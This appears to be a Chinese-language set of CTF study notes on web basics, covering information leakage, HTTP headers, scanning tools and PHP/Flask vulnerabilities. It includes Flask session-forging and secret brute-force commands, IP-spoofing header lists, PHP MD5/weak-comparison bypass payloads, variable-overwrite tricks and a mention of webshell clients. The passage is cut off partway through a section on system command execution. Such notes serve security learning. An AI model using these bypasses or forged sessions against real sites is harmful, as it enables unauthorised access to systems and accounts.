WEB基础
WEB基础
一、web概念
1、页面类型
我们访问的网站页面,有几种不同的类型:
- 静态页面:静态页面是在服务器上预先创建好并保存在文件中的网页,它的内容在用户请求时直接传输给用户,不涉及服务器端的数据处理和生成。当然网页上是可以出现各种视觉动态效果,如GIF动画、Flash动画、滚动字幕、轮播图。而该网站主要是静态化的页面和代码组成,通常由htm、html、shtml等为后缀
- 动态页面:动态页面并不是具有动画功能的网页,而是页面的内容可以根据不同实际情况进行变化。动态页面是在用户请求时通过服务器端的程序动态生成的,它的内容可以根据用户的请求和其他参数进行实时生成,通常涉及数据库查询和其他后端处理。动态网页一般是以asp、jsp、php、aspx结尾。
- 伪静态页面:伪静态页面是一种通过在服务器端对URL进行重写或使用缓存技术,使得看起来像是静态页面的一种技术。实际上,这些页面在每次请求时可能会有一些动态生成的部分,但相对于完全动态页面,其变化频率较低。
2、伪静态
基础概念
伪静态URL:看起来像是静态网页的URL,但实际上是由服务器动态生成的。例如,http://example.com/article/123 看起来像是一个静态页面,但实际上是通过PHP脚本动态生成的。
URL重写:通过服务器配置(如Apache的.htaccess文件或Nginx的配置文件),将用户请求的URL重写为实际的动态处理脚本。
实现方法
Apache (使用 .htaccess)
RewriteEngine On
RewriteRule ^article/([0-9]+)$ article.php?id=$1 [L]
Nginx
location /article {
rewrite ^/article/([0-9]+)$ /article.php?id=$1 break;
}
通过上述的重写规则,用户访问 http://example.com/article/123 时,实际上会被服务器处理为 http://example.com/article.php?id=123
二、信息泄露
1、PHPInfo信息泄漏
漏洞描述:
phpinfo()函数返回的信息中包含了服务器的配置信息,包括:
- 1)PHP编译选项以及文件扩展名的相关信息;
- 2)php的版本信息
- 3)php的配置信息;
- 4)数据库信息;等敏感信息。这些敏感信息会帮助攻击者展开进一步的攻击。
修复方案:
建议限制此类脚本的访问权限或者删除对phpinfo()函数的调用:修改php.ini文 件 中 的 disable_functions 配 置 项 , 把 ‚ phpinfo ‛ 添 加 到 清 单 中 :disable_functions=phpinfo(备注:如果要禁用多个函数,函数名之间用逗号隔开)
2、后台文件泄露
phps文件
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型( 使用御剑等扫描器,发现还可以有index.phps文件,访问index.phps)
(php中www文件夹表示的是服务器的根目录,也就是站点的位置,即一个网页被访问的根目录,www下存放的是网站程序源码。)
vim产生的备份文件和临时文件
- 当使用vim编程后,会生成一个带的备份文件。某些情况可以尝试,下载index.php
- 当vim编辑未正常退出时,会生成一个带.swap的临时文件,可尝试下载/upload/.download.php.swp
- swp文件放于linux中进行修复。vim -r index.php.swp
扫描器
源码放于web目录下就很容易发生网站源码泄露。(可用御剑等扫描)
- 常见网站源码备份后缀:
.tar .tar.gz .zip .rar - 常见网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp - 如果网站存在备份文件,常见的备份文件后缀名有:
“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf”尝试在URL后面,依次输入常见的文件备份扩展名。
Git泄露
Git 源码泄露:
.git文件是开发人员在开发过程中使用 Git(分布式版本控制系统)做开发时产生的隐藏目录,该文件包含一些版本信息和网站源码,数据库信息等敏感信息。开发人员使用 git 进行版本控制,对站点自动部署。但如果配置不当,可能会将 .git 文件夹直接部署到线上环境,这就引起了 git 泄露漏洞,我们可以通过 .git文件恢复网站源码,来获取一些敏感信息。
当在一个空目录执行 git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。
#git是分布式版本控制系统,记录每次文件的改动
工具:githack
python GitHack.py http://www.openssl.org/
#自动扫描git文件,并保存到本地
3、版本控制泄露
描述:
在实际的开发过程中,我们会用到两个工具来进行版本控制和代码托管,它们分别是git和svn。而在CTF中我们主要面对的就是git或svn的版本控制泄露。
(1)在使用 SVN 管理本地代码过程中,会自动生成一个名为.svn 的隐藏文 件夹,其中包含重要的源代码信息 /.svn/entries
(2)使用 git 进行版本控制,对站点自动部署。如果配置不当,可能会 将.git 文件夹直接部署到线上环境。这就引起了 git 泄露漏洞 /.git/config,在发布代码的时候,如果.git这个目录没有删除,直接发布了使用这个文件,可以用来恢复源代码,这造成git泄露。
原文链接:https://blog.csdn.net/SENMINGya/article/details/131927342
4、robots协议
描述:robots协议
利用方法:robots协议是网站对爬虫的协议,里面说明了哪些内容时不容许爬取的,在网站url中查看robots.txt文件就可以查看协议内容
三、图解HTTP
学习资料:
1、HTTP状态码
| 1~~ | 消息 |
|---|---|
| 2~~ | 成功 |
| 3~~ | 重定向 |
| 4~~ | 客户端错误 |
| 5~~ | 服务器错误 |
重定向:状态代码是302
比如:从index.php重定向至1.php
查看网络结构:

2、HTTP报文
HTTP报文是由多行(CR+LF作换行符)数据构成的字符串文本,HTTP报文可以分为报文首部和报文主体两部分,两者起初是由(CR+LF)划分的,通常并不一定有报文主体。
报文结构图:

HTTP报文中的请求报文响应报文在结构上都是:报文首部+空行+报文主体。但是在报文内的各种首部字段有所区别。
请求报文的内容信息:

请求头的常见字段信息

响应头的常见字段信息

实例:

3、请求字段详解
Date
HTTP 请求头中的 Date 字段包含了服务器响应的日期和时间,以 GMT(格林威治标准时间)格式表示。PHP 中的一个超全局变量$_SERVER['HTTP_DATE']可以获取该值,如果请求没有包含这个字段,$_SERVER['HTTP_DATE'] 将不会被设置,或者可能为 null。
Date 字段的格式遵循 RFC 1123 标准。它通常表示为以下格式:
Day, DD Mon YYYY HH:MM:SS GMT
- Day: 一周中的某一天,通常用三字母表示(如
Mon、Tue)。 - DD: 两位数字表示的日期(01 到 31)。
- Mon: 月份的三字母缩写(如
Jan、Feb、Mar等)。 - YYYY: 四位数字表示的年份。
- HH: 两位数字表示的小时(00 到 23)。
- MM: 两位数字表示的分钟(00 到 59)。
- SS: 两位数字表示的秒钟(00 到 59)。
- GMT: 表示时间为格林威治标准时间(GMT)。
例如,2024年8月20日0点0分的 Date 字段格式应为:
Tue, 20 Aug 2024 00:00:00 GMT
User-Agent
User-Agent 字段有一定的格式,通常包括以下几个部分:
- 应用程序名称:表明客户端软件的名称,比如浏览器或爬虫的名称。
- 版本号:表示客户端软件的版本。
- 操作系统信息:说明客户端运行的操作系统及其版本。
- 其他信息:可能包括设备类型、引擎信息等。
一个典型的 User-Agent 示例:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Mozilla/5.0表示兼容性(历史原因每个浏览器都有这个信息)。(Windows NT 10.0; Win64; x64)表明操作系统信息。AppleWebKit/537.36和Chrome/91.0.4472.124提供了引擎和浏览器的版本。
Content-Type
Content-Type的值通常由两个部分组成,第一个部分是媒体类型,第二个部分是媒体子类型,两者之间用斜杠(/)分隔。例如,常见的Content-Type值有:
text/html:表示HTML文档;
application/json:表示JSON数据;
image/png:表示PNG格式的图片;
audio/mpeg:表示MP3格式的音频。
Content-Type头部字段还可以包含参数,用于指定编码方式、语言等相关信息。例如,Content-Type头部字段可以包含charset参数,指定字符编码方式,如:
Content-Type: text/html; charset=UTF-8
From
在HTTP请求中,From头字段用于指示发起请求的用户的电子邮件地址。该字段主要用于记录和跟踪,不用于身份验证或授权。
一般来说,From字段的值应该是一个电子邮件地址,例如:
From: user@example.com
Via
Via是HTTP头部字段之一,它用于表示代理服务器和客户端之间的中间代理节点。当请求通过多个代理服务器传输时,每个代理服务器都会向请求头部添加一个Via字段,其中包含了代理服务器的相关信息,如服务器名称、版本号等等。这样,接收到请求的服务器就能够了解请求的路径,以及经过的中间代理节点的信息。
4、 上传文件
设置请求头
在上传文件时,通常需要设置 Content-Type 为 multipart/form-data。这是因为文件上传需要将文件与其他表单数据一起发送。
Content-Type: multipart/form-data;
设置分隔符
boundary 是一个特殊的字符串,用于分隔 multipart/form-data 请求体中的不同部分,具体来说,它标识了各个表单字段之间的边界,使得服务器能够正确解析请求体。服务器根据 boundary 来解析请求体,提取出每个字段及其内容。
在 Content-Type 头部中,boundary 通常以 -- 开头,后面跟随一个唯一的字符串。例如:
Content-Type: multipart/form-data; boundary=--------------------------boundary
boundary 没有严格的长度要求
构建请求体
请求体会包含文件和其他字段的信息。格式类似于:
--boundary
Content-Disposition: form-data; name="file"; filename="example.txt"
Content-Type: text/plain
(这里是文件内容)
--boundary--
- 每个部分都以
--boundary开始。 - 最后一部分则以
--boundary--结束,表示请求体的结束。
完整格式
例如:
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=--------------------------7d9c2f8b9b70
--------------------------7d9c2f8b9b70
Content-Disposition: form-data; name="file1"; filename="example1.txt"
Content-Type: text/plain
(这里是文件内容)
--------------------------7d9c2f8b9b70
Content-Disposition: form-data; name="file2"; filename="example2.txt"
Content-Type: text/plain
(这里是文件内容)
--------------------------7d9c2f8b9b70--
5、其他
问:某些页面要求你必须要通过http://www.xxxx.com进行访问?
答:增加一个referer字段
Referrer:http://www.xxxx.com (题目要求的url)
使用X-Forwarded-For来伪造ip
问:题目要求必须是某个ip地址如1.1.1.1,才允许访问。
答:增加一个X-Forwarded-For字段
X-Forwarded-For:1.1.1.1
其他:X-Real-IP: 127.0.0.1
区别是:
X-Forwarded-For:是用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中并且用逗号分隔。
X-Real-IP:一般只记录真实发出请求的客户端IP //极客大挑战2024 ez_http
常用请求伪装头:
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1 //xyctf用过
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
使用User-Agent:伪造代理
问:某些题目要求必须使用某个浏览器如HAHA浏览器,才允许访问。
答:增加User-Agent字段
User-Agent:HAHA
问:页面要求必须要安装了.net 9.0版本了才能访问。
答:修改User-Agent字段
User-Agent:.NET CLR 9
使用Accept-Language修改语言
问:题目要求只能外国人才能访问这个页面。
答:修改Accept-Language字段
Accept-Language: en-US,en;q=0.8
直接查看http协议报头
via协议头
协议版本:代理服务器使用的HTTP协议版本,例如HTTP/1.1。
代理服务器地址:代理服务器的域名或IP地址。
代理服务器端口:代理服务器监听的端口号。
注释:可选项,用于提供额外信息,例如代理服务器的软件和版本。
四、Web渗透工具
1、nslookup
nslookup (全称 name server lookup) ,是一个在命令行界面下的网络工具。功能是获得DNS的记录,查询域名解析是否正常,在网络故障时用来诊断网络问题。它有两种模式:交互 & 非交互,进入交互模式在命令行界面直接输入nslookup按回车,非交互模式则是后面跟上查询的域名或者IP地址按回车。一般来说,非交互模式适用于简单的单次查询,若需要多次查询,则交互模式更加适合。
DNS的记录类型
域名解析就是域名到IP地址的转换过程,域名的解析工作由DNS服务器完成。域名解析时会添加解析记录,这些记录有:A记录、AAAA记录、CNAME记录、MX记录、NS记录、TXT记录、SRV记录、URL转发。
详细用法:nslookup
2、Nmap
Nmap,即Network Mapper,是Linux下的网络扫描和嗅探工具包。其基本功能有三个,一是探测一组主机是否在线;其次是扫描 主机端口,嗅探所提供的网络服务;还可以推断主机所用的操作系统 。
详细用法:Nmap
3、curl
curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思。
语法:curl [option] [url]
常见选项:
-A/--user-agent <string> 设置用户代理发送给服务器
-b/--cookie <name=string/file> cookie字符串或文件读取位置
-c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中
-C/--continue-at <offset> 断点续转
-d 发送 POST 请求的数据体<"a=xx&b=xx">
-D/--dump-header <file> 把header信息写入到该文件中
-e/--referer 来源网址
-f/--fail 连接失败时不显示http错误
-o/--output 把输出写到该文件中
-O/--remote-name 把输出写到该文件中,保留远程文件的文件名
-r/--range <range> 检索来自HTTP/1.1或FTP服务器字节范围
-s/--silent 静音模式。不输出任何东西
-T/--upload-file <file> 上传文件
-u/--user <user[:password]> 设置服务器的用户和密码
-w/--write-out [format] 什么输出完成后
-x/--proxy <host[:port]> 在给定的端口上使用HTTP代理
-X 指定 HTTP 请求的方法<-X GET>
-#/--progress-bar 进度条显示当前的传送状态
详细用法:curl
五、WEB基础漏洞
会话漏洞
cookie的常规属性
- Name:Cookie 名称
- Value:Cookie 存储的值
- Domain:设置 Cookie 的域
- Path:Cookie 适用的路径
- Expires/Max-Age:Cookie 的到期时间或存活时长
- Secure:如果 Cookie 仅通过 HTTPS 发送,表明它是安全 Cookie
- HttpOnly:如果设置了该属性,表示该 Cookie 不能通过 JavaScript 访问

前置知识
哈希算法:
哈希算法是一种加密数据的加密算法,其具有单向不可逆的特性。
对称加密:
对数据进行加密,在加密时使用私钥,解密时使用公钥解密。也可以反过来。
数字签名:
数字签名是一种确保信息真实性、完整性和不可否认性的技术。在发送信息时附带该信息的一个哈希值,如果被篡改了,那么哈希值的计算结果就会和原先的不一样。但如果攻击者在修改信息的同时也篡改了哈希值,那么这样的方法失效了。数字签名解决这个问题的方法是通过非对称加密,发送方用私钥加密哈希值,再吧公钥告诉所有人,然后发送加密后的哈希,这样即使攻击者篡改了哈希值,但是不知道私钥也无法再对哈希值进行加密。
签名的 Cookie
- 签名的 Cookie 是将数据内容与一个密钥结合,通过一个哈希算法(如 HMAC)生成的签名。这个签名确保了 Cookie 的数据未被篡改。
- 签名的关键点在于它不对 Cookie 的内容进行加密,而是确保内容的一致性和完整性。如果用户尝试修改 Cookie 的内容,签名将不再匹配,从而防止数据被篡改。
- 特点:仅用于验证数据的完整性(防篡改),数据仍然是明文存储在客户端。
例如:
# cookie信息为:
{"username":"admin","is_admin":1}
# base64加密
eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjF9
#Base64 编码的主要作用并不是为了加密数据,而是为了 便于存储和传输,尤其是当数据需要在 URL 或 Cookie 中传输时,Base64 编码能将二进制数据转换为字符数据,从而避免某些特殊字符(如空格、斜杠等)造成的传输问题。
# 数字签名,密钥为123
flask-unsign --sign --cookie "{'username' : 'admin','is_admin' : 1}" --secret '123'
eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjF9.Z4Dg0A.BntBD2E2w8Mb7C9wbjujLHr6N7k
1.JWT (JSON Web Token) Cookie:
- 简介:JWT 是一种常用于身份认证的标准,它可以作为一个 Cookie 存储在客户端,包含了用户的身份信息和签名。JWT 通常被用于无状态认证。
- 技术特点:
- 自包含:JWT 包含所有的用户身份信息,不需要存储在服务器端。
- 签名保护:JWT 使用加密签名(如 HMAC 或 RSA)保证数据不被篡改。
- 包含三个部分:Header(头部)、Payload(载荷)、Signature(签名)。
- 如何识别:
- JWT 通常是一个包含点(
.)分隔的字符串,例如:header.payload.signature。你可以通过观察 Cookie 的值,如果值是这种格式(类似eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjM0NTY3ODkwLCJ1c2VybmFtZSI6IkpvaG4gRG9lIn0.Ct4K0ql90A0D0X3mGFpRcmzhWSoRkzZjIsYBaDNKt9A8)来识别它。
- JWT 通常是一个包含点(
2.Session Cookie (会话 Cookie)
- 简介:Session Cookie 通常用于存储会话信息,例如用户登录状态。它不会保存任何持久化的信息,而是只在用户的会话中存在。
- 技术特点:
- 不带过期时间,通常会在浏览器关闭时自动删除。
- 存储的可能是用户的会话标识符,而实际的会话数据通常存储在服务器端。
- 如何识别:
- 这种 Cookie 的值通常是一个随机生成的字符串(如
PHPSESSID=1234567890abcdef),并且没有明确的过期时间。
- 这种 Cookie 的值通常是一个随机生成的字符串(如
session伪造
在 Flask 中,session 默认是基于 SECRET_KEY 来进行加密和签名的。SECRET_KEY 用于确保存储在客户端的 session 数据的完整性和安全性。如果没有提供 SECRET_KEY,Flask 会自动使用一个默认的密钥(这个密钥通常是不安全的)
通过以下方式来设置:
from flask import Flask, session
app = Flask(__name__)
app.secret_key = 'your_secret_key' # 这会使 session 数据安全
当对数据安全性要求较高时,可以配置将 session 数据存储在服务器端,可以使用扩展来将会话数据保存在服务器上的某个位置,例如 Redis、数据库、文件系统等。这样,只有一个 session ID 被存储在客户端的 cookie 中,真正的会话数据则存在服务器端。
Flask 可以通过 Flask-Session 扩展来实现服务器端存储。常见的存储方式有 Redis、数据库、Memcached 等。
from flask import Flask, session
from flask_session import Session
import redis
app = Flask(__name__)
# 配置使用 Redis 存储 session 数据
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_PERMANENT'] = False
app.config['SESSION_USE_SIGNER'] = True # 可选:签名 session ID
app.config['SESSION_REDIS'] = redis.StrictRedis(host='localhost', port=6379, db=0)
Session(app)
@app.route('/')
def index():
session['user'] = 'John Doe'
return 'Session data is stored on server (Redis)!'
if __name__ == '__main__':
app.run(debug=True)
session伪造一般出现在用cookie存储session数据的情景下,如果使用默认的secert_key可以很容易爆破。而当存在原型链污染时,也可以通过污染app.secret_key变量来获得secert_key。
session爆破:
#查看帮助
flask-unsign
#解码会话Cookies
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
#自动会话抓取功能 传递参数
flask-unsign --decode --server 'https://www.example.com/login'
#暴力破解密钥
flask-unsign --unsign --cookie < cookie.txt #可以指定文件或者直接用session字符串
#伪造session
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
session伪造工具:
使用方法: flask_session_cookie_manager{2,3}.py decode [-h] [-s <字符串>] [-c <字符串>]
可选参数:
decode/encode 解码/编码
-h, --help 显示此帮助信息并退出
-s <字符串>, --secret-key <字符串>
密钥
-c <字符串>, --cookie-value <字符串>
会话 cookie 的值
#例子:
python flask_session_cookie_manager3.py decode -s "baozongwi" -c "eyJpc19hZG1pbiI6MCwidXNlcm5hbWUiOiJ0ZXN0In0.Zzvdhg.lN_Zfg5qKgiNjjU2VZdJGauU4H8"
python flask_session_cookie_manager3.py encode -s 'baozongwi' -t "{'is_admin': 1, 'username': 'test'}"
伪静态
“伪静态”顾名思义就是一种表面上看似是静态网页(以.html、.htm等结尾),不存在任何的数据交互,却其实是动态网页,存在数据交互的网站,具有这种特性的网页被称为“伪静态网页”。我们看到的伪静态网页其实是经过处理的,将动态网页的id等参数通过URL重写来隐藏,让查看者以为是静态网页。
测试方法:
对".html"之前的参数加“'”进行判断是否存在注入
http://xxx.xxx.xx.xx:xxx/test.php/id/1'.html
控制台中输入js查看网页最后的更新时间(动态更新的是伪静态)
javascript:alert(document.lastModified)
pyc反编译
六、CMS漏洞
1、介绍
内容管理系统(Content Management System,CMS)是一种位于WEB前端以及后端之间的软件系统,编辑人员使用内容管理系统来提交、修改、审批、发布内容。
cms一般有dedecms(织梦),dzcms,phpweb,phpwind,phpcms,ecshop,dvbbs,siteweaver,aspcms,帝国,zblog,wordpress等。
2、CMS识别工具
御剑WEB指纹识别
kail工具whatweb
安装
$ apt-get install whatweb
扫描单个目标
$ whatweb www.xxx.com
扫描多个目标,并将结果保存在txt
$ whatweb -i xxx --log-brief=111.txt
CmsVulScan
工具集合了多个 github 上的开源 cms 扫描工具的 payload 和匹配规则,使用md5、url、正则进行匹配识别。
3、CmsEasy
该组件是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个 PHP 开发平台。 采用模块化方式开发,功能易用便于扩展,可面向大中型站点提供重量级网站建设解决方案。
杂项问题
1、字符集
修复乱码
乱码问题通常是由于编码和解码不一致导致的,文本的原始编码与当前解释的编码不匹配,比如:UTF-8编码的文本在其他编码(如GBK或GB2312)下被错误解析
常见的编码格式包括:
- UTF-8
- GBK/GB2312
- ISO-8859-1
Python 修复乱码
# 假设原始的乱码字符串是 encoded_str
encoded_str = "浣犲凡缁忔嬁鍒颁簡閽ュ寵锛屼絾鏄墦寮€閿欎簡闂紝濂藉ソ鎯虫兂锛岃繕鏈变粈涔堜笢瑗挎槸浣犳病鏈夌悊瑙i€忕殑锛?"
# 尝试用 GBK 解码,再用 UTF-8 编码
try:
# 使用 GBK 解码
bytes_str = encoded_str.encode('latin1') # 先将乱码字符串转换为字节
decoded_str = bytes_str.decode('gbk') # 再用 GBK 解码
print(decoded_str)
except Exception as e:
print("解码失败:", e)
使用文本编辑器:
Notepad++ 中,可以通过“编码”菜单选择不同的编码方式来尝试修复乱码

终端字符集
很多时候乱码出现在终端,我们通过修改终端的字符集可以避免这些问题
Windows:
chcp #查看当前代码页

修改为65001表示UTF-8 编码
chcp 65001 #临时将编码更改为 UTF-8
#要永久更改编码,可以修改注册表或使用 Windows Terminal
php漏洞
1、php变量名
php变量名只能是数字字母下划线,传进去的变量名会将 , +,.,[等符号转换成_,若变量中有. 号,可以用[替换_后,之后的字符不会再被替换成_
例如:
<?php
var_dump($_GET['Jail_by.Happy']);
var_dump($_GET);


2、unicode欺骗
漏洞函数:
strlower()函数 将输入的字符串都变成小写
用ᴬᴰᴹᴵᴺ注册并登录,转化成了admin登录
3、一句话木马
描述:提示
解题方法:使用蚁剑或者冰蝎等 webshell 连接网站上的一句话木马
4、数组key溢出
通过PHP创建关联数组的时候,键值Key如果是数值型(可通过is_numeric()判断)
则会在int有效范围内被自动转换为int型,如果超过int有效范围就会有问题,这就涉及到数组键值Key作为int型时的有效范围判断。
PHP的int型数据取值范围,与操作系统相关,32位系统上为2的31次方,即-2147483648到2147483647,64位系统上为2的63次方,即-9223372036854775808 到 9223372036854775807。
一般来说,我们往数组里插入一个值是可以正常插入的,当我们的数组下标key足够大的时候,9223372036854775807,这个时候想要再往里面插入元素,就会报错
例题:
<?php
$a = $_GET['a'];
if($array[++$a]=1){
if($array[]=1){
echo "nonono";
}else{
echo file_get_contents('../flag');
}
}
?>
而这一点正是这道题最内层if语句的考点
这时候往里a传参9223372036854775806,要比上面提到的那个数字小1
因为题目是++$a,先加上1,变成9223372036854775807,然后执行最内层的if时,因为没有地方可以开数组了,就返回NULL,即false,这样一来就可以执行else里的语句
5、预定义变量绕过
题目正则ban了必须要传的参数。
$_SERVER['QUERY_STRING'] #获取get字符串,比如?x=1&y=2中的‘x=1&y=2’
# 特点: $_SERVER['QUERY_STRING']是不会进行URL解码的
url编码绕过
?%70=whoami # ?p=whoami
6、REQUEST变量覆盖
$_REQUEST有一个特性,当GET和POST有相同的变量时,匹配POST的变量
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}
waf1($_REQUEST);
8、php弱类型
(MD5、sha1)比较漏洞
<!-- php中"=="是弱类型,会将数据类型转化成相同类型比较,"==="比较严格,会先判断数据类型是否相同在比较内容 -->
特性:
1.int数字比较
<?php
$a = 100; //整数
$b = "100"; //十进制数字符串
$c = 0b1100100; //二进制数
$d = 0144; // 八进制数
$e = 0x64; //十六进制数
$f = 1e2; //科学计数
var_dump($a==$b); //bool(true)
var_dump($a==$c); //bool(true)
var_dump($a==$d); //bool(true)
var_dump($a==$e); //bool(true)
var_dump($a==$f); //bool(true)
var_dump($b==$c); //bool(true)
var_dump($b==$d); //bool(true)
var_dump($b==$e); //bool(true)
var_dump($b==$f); //bool(true)
var_dump($c==$d); //bool(true)
var_dump($c==$e); //bool(true)
var_dump($c==$f); //bool(true)
var_dump($d==$e); //bool(true)
var_dump($d==$f); //bool(true)
?>
2.int和string比较
<?php
/*
“==”的转化规则:从左往右,找数字,遇到字母就停止,并截取字母前的内容,如果没有就视为0
例如:123abc456 从左往右找到123,遇到a直接去掉a后面的所有内容,所以结果为123
注意:e后面有数字,表示科学计数法,如1e2表示1乘10的2次方,就是100
*/
?>
3.bool类型的true跟任意字符串可以弱类型相等
<?php
//true和任意字符串弱相等
$a=true;
if($a=="ac"){
echo "yes";
}
//非空即为真:
FALSE == FALSE
0 == FALSE
0.0 == FALSE
'' == FALSE
'0' == FALSE
array() == FALSE
NULL == FALSE
//绕过array_search()函数,前提是第三个参数没有设置成严格比较true(默认是false弱比较)
$c=[true];
if (is_array($c)){
$d = array_search("DGGJ", $c);
$d === false?die("no..."):NULL;
echo "yes";
}else{
echo "no";
}
?>
4.数组绕过
<?php //strcmp比较两个字符串,返回值-1,0,1 分别对应小于,等于,大于
$password="***************";
$pass[]="admin"; //strcmp漏洞绕过 php -v <5.3
if (strcmp($pass, $password) == 0) //函数接受到了不符合的类型,将发生错误,但是还是判断其相等(返回FALSE,相当于0)
{
echo "Right!!!login success";
exit();
} else
{
echo "Wrong password..";
}
?>
5.md5绕过
OE绕过:
//md5和sha1弱比较都是利用php解析哈希值以“0E”开头的特性,结果都为0符合参数1的字符串值和参数2的字符串值不相等,但md5值相等。
常见md5绕过:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
特殊:($a == md5($a))
0e215962017
0e291242476940776845150308577824
例如:md5('QNKCDZO') == md5(240610708)
//由于0e开头的字符串会转换为0,所以真正比较的过程会变成下面这样
// 0 == 0
数组绕过:
md5(a[]=1) === md5(b[]=1)
//由于md5函数无法处理数组,会返回null,所以md5加密后的结果是下面这样
null === null
其他md5函数漏洞:php会自动将十六进制(hex)转换成ascii(字符)
php中的md5(str,bool)函数(第一个填字符串,第二个填ture或者false,代表十六级制或者二进制格式输出)
'ffifdyop'该字符串转换成md5的格式后会变成"76f722736c95d99e921722cf9ed621c"十六进制格式,再转换成ascii,则变成了
' or 6....'or永真表达
而在php代码中处理哈希字符串时,会把“0E”开头的哈希值都解析为0,比较时0=0为true绕过
同理使用sha1加密的值为0E开头的字符串有如下:
aaroZmOk,aaK1STfy,aaO8zKZF,aa3OFF9m

9、php强比较
使用php的强比较类型来解析的话,就是除了比较值,也比较类型。弱比较只比较值,不比较类型。
1.方法一:数组绕过
所以上面的方法就失效了,我们可以使用数组来绕过强比较,因为md5和sha1无法计算数组,但不会报错,会输出null,所以我们可以使用“空类型=空类型,null=null“来绕过强比较的比较类型。
缺陷:将变量的类型变为数组,后面如果是命令执行,例如eval($a)则会报错,因为$a必须是字符串
例如:
<?php
error_reporting(0);
include "flag.php";
$a = $_POST['a'];
$b = $_POST['b'];
if($a !== $b && md5($a) === md5($b)){
echo $flag;
}
/*
if($a !== $b && sha1($a) === sha1($b)){
echo $flag;
}
*/
?>
payload:
/*
在php中,变量名后加个中括号就代表这个变量的值为数组
如: $demo[] = 123;
*/
MD5 and SHA1:a[]=1&b[]=2
2.方法二:PHP内置类来绕过
用的两个比较多的内置类就是 Exception 和 Error ,他们之中有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数,以Error 类为例,我们来看看当触发他的 __toString 方法时,会以字符串的形式输出当前报错,包含当前的错误信息(payload)以及当前报错的行号(记住要写在同一行才能使报错信息一致)。
$a=new Error('H3resk1t',1);$b=new Error('H3resk1t',2);
$a 和 $b 这两个对象本身是不同的,但是 __toString 方法返回的结果是相同的,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7
3.强碰撞
在PHP中,如果将数组强制转换为字符串,实际上会得到一个字符串 "Array"。
<?php
error_reporting(0);
include "flag.php";
$a = $_POST['a'];
$b = $_POST['b'];
if((string)$a !== (string)$b && md5($a) === md5($b)){
echo $flag;
}
此时方法一和方法二(因为强制转成字符串后都相等)就不适用了,必须是两个不同的字符串且md5加密后的值还相同。
1.建立一个a.txt
2.将这个文件拖到fastcoll_v1.0.0.5.exe上,等于使用fastcoll打开它。
3.fastcoll会自动生成两个文件:
4.这两个文件内容不同,但是md5值是相同的。然后我们写一个php脚本根据生成的文件生成碰撞的字符串
<?php
function readmyfile($path)
{
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("C:/Users/13700/Documents/笔记/工具/web工具/fastcoll_v1.0.0.5.exe/a_msg1.txt"));
$b = urlencode(readmyfile("C:/Users/13700/Documents/笔记/工具/web工具/fastcoll_v1.0.0.5.exe/a_msg2.txt"));
if (md5((string) urldecode($a)) === md5((string) urldecode($b))) {
echo $a;
}
if (urldecode($a) != urldecode($b)) {
echo $b;
}
5.开启xmapp服务,进入本地页面,查看代码运行结果,得到两个字符串就是a和b的值
链接:https://www.cnblogs.com/ping-ka/p/17429252.html

10、变量覆盖
用传参值代替源代码中的变量值
# extract(array,extract_rules,prefix)函数,传递一个数组,创建若干变量,使用数组键名作为变量名,使用数组键值作为变量值,如果变量存在则覆盖
<?php
$a = "Original"; # 变量值,之后会被覆盖
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse"); # 如果key为非法变量名会根据第2,3个参数来重新规定
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c"; #输出:$a = Cat; $b = Dog; $c = Horse
?>
# 类似函数parse_str(string,array) ,其中array可以不填,它规定存储变量的数组名称。
<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
#输出结果:Peter 43
?>
11、系统命令执行
system()函数 ,执行外部程序,并且显示输出
/*
system(string $command, int &$result_code = null): string|false
command
要执行的命令。
result_code
如果提供 result_code 参数,则外部命令执行后的返回状态将会被设置到此变量中。
system函数的返回值为程序输出的最后一行内容
*/
<?php
